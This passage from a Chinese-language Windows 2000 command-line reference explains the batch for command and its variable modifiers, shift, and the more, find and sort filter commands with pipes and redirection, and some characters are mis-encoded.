代表可替換的參數(shù)。for 命令使用在 set 中指定的每個文本字符串替換 %%variable(或 %variable),直到此命令(在
command-parameters 中指定)處理所有的文件為止。使用 %% variable 在批處理程序中執(zhí)行 for 命令。使用 %
variable 通過命令提示符執(zhí)行 for 命令。變量名區(qū)分大小寫。
(set)
指定要用指定的命令處理的一個或多個文件或文本字符串。需要括號。
command
指定要在指定的 set 所包含的每個文件上執(zhí)行的命令。
command-parameters
指定要用于指定命令(如果指定的命令要使用任何參數(shù)或開關(guān))的任何參數(shù)或開關(guān)。
如果啟用了命令擴展(Windows 2000 中的默認設(shè)置),將支持 for 命令的其他形式。
For 命令的其他形式
如果啟用了命令擴展,將支持如下 for 命令的其他格式:
只限于目錄
for /D [%% | %]variable in (set) docommand [command-parameters]
如果 set 包含通配符(* 和 ?),則指定與目錄名匹配,而不是文件名。
遞歸
for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]
進入根目錄樹[drive:]path,在樹的每個目錄中執(zhí)行 for 語句。如果在 /R 后沒有指定目錄,則假定為當(dāng)前目錄。如果
set 只是一個句號 (.) 字符,則只列舉目錄樹。
迭代
for /L [%% | %]variable in (start,step,end) do command [command-parameters]
集合是一系列按步長量劃分的、從頭到尾的數(shù)字。這樣,(1,1,5) 將生成序列 1 2 3 4 5,而 (5,-1,1) 將生成序列 (5
4 3 2 1)。
文件解析
for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]
for /F ["options"] [%% | %]variable in ("literal string") do command[command-parameters]
for /F ["options"] [%% | %]variable in ('command') do command [command-parameters]
或者,如果出現(xiàn) usebackq 選項:
for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]
for /F ["options"] [%% | %]variable in ('literal string') do command [command-parameters]
for /F ["options"] [%% | %]variable in (`command`) docommand [command-parameters]
filenameset 參數(shù)指定一個或多個文件名稱。在繼續(xù)到 filenameset 中的下一個文件之前,每個文件都會被打開、讀取
和處理。
過程由讀取文件、分成獨立的文本行及然后將每行解析成零個或更多個令牌組成。然后使用設(shè)置為找到的一個或多個令牌
字符串的變量值(或多個值)集合調(diào)用 for 循環(huán)體。默認情況下,/F 傳遞每個文件每一行的第一個空白分隔符號。
跳過空行。通過指定可選的“options”參數(shù)可以覆蓋默認的解析行為。這是一個引用字符串,它包含一個或多個關(guān)鍵字
以指定不同的解析選項。關(guān)鍵字是:
關(guān)鍵字 說明
eol=c 指定行尾注釋字符(只一個字符)
skip=n 指定在文件的開頭跳過的行數(shù)。
delims=xxx 指定定界符集合。這將替換空格和制表符的默認分隔符集。
tokens=x,y,m-n 指定將令牌從每行傳遞到每個反復(fù)的正文。這將導(dǎo)致分配其他變量名。m-n 格式是一個范圍,指定從
mth 到 nth 的令牌。如果在令牌 = 字符串中最后一個字符是星號,則將分配附加的變量,并在解析最后一個令牌后在行
上接收剩余的文本。
usebackq 指定將右引號字符串作為命令執(zhí)行,單引號字符串是文字字符串命令,您可以使用雙引號包括 filenameset 中
的文件名。
變量替換
此外,已經(jīng)增強了 for 變量引用的替換修改程序?,F(xiàn)在可以使用下列可選的語法(對于任何變量 I):
變量(使用修改程序) 說明
%~I 展開刪除了周圍的任何引號 (") 的 %I
%~fI 將 %I 展開到完全合格的路徑名
%~dI 只將 %I 展開到驅(qū)動器號
%~pI 只將 %I 展開到路徑
%~nI 只將 %I 展開到文件名
%~xI 只將 %I 展開到文件擴展名
%~sI 展開路徑以只包含短名稱
%~aI 將 %I 展開到文件的文件屬性
%~tI 將 %I 展開到文件的日期/時間
%~zI 將 %I 展開到文件大小
%~$PATH:I 搜索 PATH 環(huán)境變量所列出的目錄,并將 %I 展開開到第一個找到結(jié)果的全部合格名稱。如果沒有定義環(huán)境變
量名,或搜索后沒有找到文件,則此修改程序?qū)U展為空字符串。
修改程序可以合并以獲得復(fù)雜的結(jié)果:
變量(使用合并的修改程序) 說明
%~dpI 只將 %I 展開到驅(qū)動器號和路徑
%~nxI 只將 %I 展開到文件名和擴展名
%~fsI 將 %I 展開到只包含短名稱的完整路徑名
%~dp$PATH:I 在 PATH 環(huán)境變量所列出的目錄中搜索 %I,并展開到第一個找到結(jié)果的驅(qū)動器號和路徑
%~ftzaI 將 %I 擴展到與 dir 相似的輸出行
注意
在上述范例中,%I 和 PATH 可被其他有效值替換。通過有效的 for 變量名終止 %~ 語法。
使用大寫變量名(例如 %I)可以使代碼更具可讀性,并且避免與不區(qū)分大小寫的修改程序混淆。
Shift
更改批處理文件中可替換參數(shù)的位置。
shift
啟用命令擴展(Windows 2000 中的默認設(shè)置)后,shift 命令支持 /n 開關(guān),該開關(guān)通知命令在第 n 個參數(shù)處開始更改
,n 可以是從 0 到 8 的任何一個值。例如,
SHIFT /2
將 %3 改為 %2,將 %4 改為 %3 等等,而 %0 和 %1 保持不變。
篩選器命令
篩選器命令可以幫助您排序、查看和選擇部分命令輸出結(jié)果。
通過篩選器命令傳遞信息
篩選器命令可以劃分、重排以及提取通過的部分信息好啊作。Windows 2000 有三個篩選器命令:
more 命令每次顯示一屏文件內(nèi)容或命令輸出。
find 命令在文件和命令輸出中搜索指定字符。
sort 命令按字母順序排列文件和命令輸出。
要將輸入從文件發(fā)送到篩選器命令,請使用小于符號 (<)。如果要篩選器命令從其他命令獲得輸入,請使用管道 (|)。
使用 more 命令來控制屏幕顯示
more 命令每次一屏地顯示文件的內(nèi)容或命令輸出。例如,下面的 more 命令每次顯示一屏 List.txt 文件的內(nèi)容:
more < list.txt
信息顯示一屏后,會出現(xiàn)字“More”。要繼續(xù)顯示下一屏,請按鍵盤上任意鍵。要停止命令且不查看詳細信息,請按
CTRL+C 鍵。
如果使用產(chǎn)生多屏輸出的命令,more 將十分有用。例如,假設(shè)定要查看硬盤的目錄樹。如果 Windows 2000 不能將目錄
在一屏內(nèi)全部顯示出來,請使用帶管道號 (|) 和 more 命令的 tree 命令,如下例所示:
tree c: | more
tree 命令的第一屏輸出被顯示,后跟詞“More”。Windows 2000 暫停,直到用戶按鍵盤上的任意鍵為止(PAUSE 鍵除外
)。
使用 find 命令搜索文本
find 命令在一個或多個文件中搜索指定文本。Windows 2000 顯示每個包含該文本的行。find 命令可以用作篩選器命令
或者標準的 Windows 2000 命令。有關(guān)將 find 用作標準的 Windows 2000 命令的信息,請單擊“相關(guān)主題”列表中的
find。
要將 find 當(dāng)作篩選器命令使用,請包含小于符號 (<) 和搜索的文件名。當(dāng)輸入文件名時,請記住搜索要區(qū)分大小寫。
例如,下面的命令查找文件 Trade.txt 中所有的“Pacific Rim”字符串:
find "Pacific Rim" < trade.txt
要保存 find 命令的輸出而不是顯示輸出,請使用大于號 (>) 和要存儲輸出的文件名。例如,下面的命令查找文件
Trade.txt 中所有的“Pacific Rim”字符串,并將結(jié)果保存在 Nwtrade.txt 文件中:
find "Pacific Rim" < trade.txt > nwtrade.txt
對文本文件排序
sort 命令按字母順序排列文本文件或命令的輸出。例如,可以使用以下命令對 List.txt 文件的內(nèi)容進行排序,并在屏
幕上顯示結(jié)果:
sort < list.txt
在此范例中,sort 命令對 List.txt 文件的行進行排序并顯示結(jié)果,但不更改文件。要保存 sort 命令的輸出而不是顯
示輸出,請在命令中包含大于號 (>) 和文件名。例如,可以使用以下命令對 List.txt 文件的行按字母順序排序,并將
結(jié)果存到 Alphlist.txt 文件中:
sort < list.txt > alphlist.txt
要排序命令的輸出,請鍵入后面帶有管道 (|) 和 sort 命令的命令。例如,下面的命令對 find 命令的輸出結(jié)果進行排
序:
find "Jones" maillst.txt | sort
在鍵入該命令時,Windows 2000 按字母順序列出在其中出現(xiàn)“Jones”的行。
帶重定向符的合并命令
可以將篩選器命令、其他命令和文件名合并以生成自定義命令。例如,可以使用以下命令存儲包含“LOG”字符串的文件
名:
dir /b | find "LOG" > loglist.txt
Windows 2000 通過 find 過濾器命令發(fā)送 dir 命令的輸出并將包含字符串“Log”的文件名存儲在 Loglist.txt 文件中
。將結(jié)果存儲為文件名列表(如,A.log、Logdat.svd 和 Mylog.bat)。
要在相同命令中使用多個篩選器,請使用管道 (|) 分隔篩選器。例如,下面的命令搜索 C 盤上的每個目錄以查找包含“
Log”字符串的文件名,并且每次顯示一屏:
dir c: /s /b | find "LOG" | more
因為使用管道 (|),Windows 2000 通過 find 命令發(fā)送 dir 命令的輸出結(jié)果。find 命令只選擇包含字符串“Log”的文
件名。more 命令每次一屏地顯示 find 命令選擇的文件名。
More
每次顯示一個輸出屏幕。該命令通常用于查看長文件??梢詥为毷褂么嗣睿蛘呤褂盟刂破渌畹妮敵?,例如
type 命令。當(dāng)顯示填充可用的查看區(qū)域時將出現(xiàn) more 提示,用戶可以輸入許多命令來控制查看文件其余部分的方式。
command name | more [/c] [/p] [/s] [/tn] [+n]
more [[/c] [/p] [/s] [/tn] [+n]] < [drive:][path] filename
more [/c] [/p] [/s] [/tn] [+n] [files]
參數(shù)
[drive:][path] filename
指定要顯示的文件。
command name
指定將顯示其輸出的命令。
/c
顯示頁面前清除屏幕。
/p
擴展換頁符。
/s
將多個空白行更改為一個空白行。
/tn
將制表位更改為 n 個空格
+n
顯示由 n 指定的行開始的第一個文件。
files
指定要顯示的文件列表。用空格分隔文件名。
More 子命令
以下命令在 more 提示 (-- More --) 下接受。
關(guān)鍵字 好啊作
space 顯示下一頁。
ENTER 顯示下一行。
F 顯示下一個文件。
q 退出。
? 顯示可用命令。
= 顯示行號。
P n 顯示以下 n 行。
S n 跳過下面 n 行。
Find
在一個文件或多個文件中搜索指定的文本字符串。
當(dāng)搜索到指定的文件后,find 將顯示出包含指定字符串的所有行。
find [/v] [/c] [/n] "string" [[drive:][path]filename[...]]
參數(shù)
/v
顯示未包含指定字符串的所有行。
/c
只顯示包含指定字符串的行數(shù)。
/n
將文件行號置于每行開頭。
/I
指定搜索不區(qū)分大小寫。
"string"
指定要搜索的字符組。必須將 string 的文本包括在引號中。
[drive:][path] filename
指定要在其中搜索指定字符串的文件的位置和名稱。
Sort
讀取輸入、排序數(shù)據(jù)并將結(jié)果寫到屏幕、文件和其他設(shè)備上。
sort [/r] [/+n] [/m kilobytes] [/l locale] [/rec characters] [[drive1:][path1]filename1] [/t [drive2:]
[path2]] [/o [drive3:][path3]filename3]
[command |] sort [/r] [/+n] [/m kilobytes] [/l locale] [/rec characters] [[drive1:][path1]filename1] [/t
[drive2:][path2]] [/o [drive3:][path3]filename3]
參數(shù)
/r
顛倒排序順序,即從 Z 到 A 排序,然后從 9 到 0 排序。
/+n
指定字符位置號 n,sort 在此處開始每次比較。例如,/+3 表示每次比較在每行的第三個字符開始。少于 n 個字符的行
在其他行之前排序。默認情況下,比較在每行的第一個字符開始。
/m kilobytes
指定用于排序的主內(nèi)存數(shù)量,按千字節(jié) (KB) 計。使用的內(nèi)存最小值總是 160 KB。如果指定了內(nèi)存大小,則無論有多少
主內(nèi)存可用,指定的確切數(shù)量(但至少 160 KB)的內(nèi)存將用于排序。
如果輸入輸出均為文件,在沒有指定大小時,默認最大內(nèi)存大小為可用主內(nèi)存的 90%,否則為主內(nèi)存的 45%。默認設(shè)置
通常會產(chǎn)生最佳的性能。
/l locale
替代由系統(tǒng)默認區(qū)域設(shè)置定義的字符排序順序;即在安裝 Windows 2000 時選擇的語言和“國家(地區(qū))”。目前,默認
區(qū)域設(shè)置唯一的備用選項就是“C”區(qū)域設(shè)置,該區(qū)域設(shè)置比自然語言排序快,根據(jù)二進制編碼對字符排序。
/rec characters
指定記錄或輸入文件的行中的最多字符數(shù)(默認值為 4096,最大值為 65535)。
[drive1:][path1]filename1
指定要排序的文件。如果沒有指定文件名,則對標準輸入排序。指定輸入文件比將同一文件作為標準輸入重定向速度快。
/t [drive2:][path2]
指定保留 sort 命令工作存儲的目錄路徑,防止數(shù)據(jù)不能裝入主內(nèi)存。默認為使用系統(tǒng)臨時目錄。
/o [drive3:][path3]filename3
指定要存儲排序后的輸入的文件。如果沒有指定,數(shù)據(jù)將寫入標準輸出。指定輸出文件比將同一文件作為標準輸出重定向
速度快!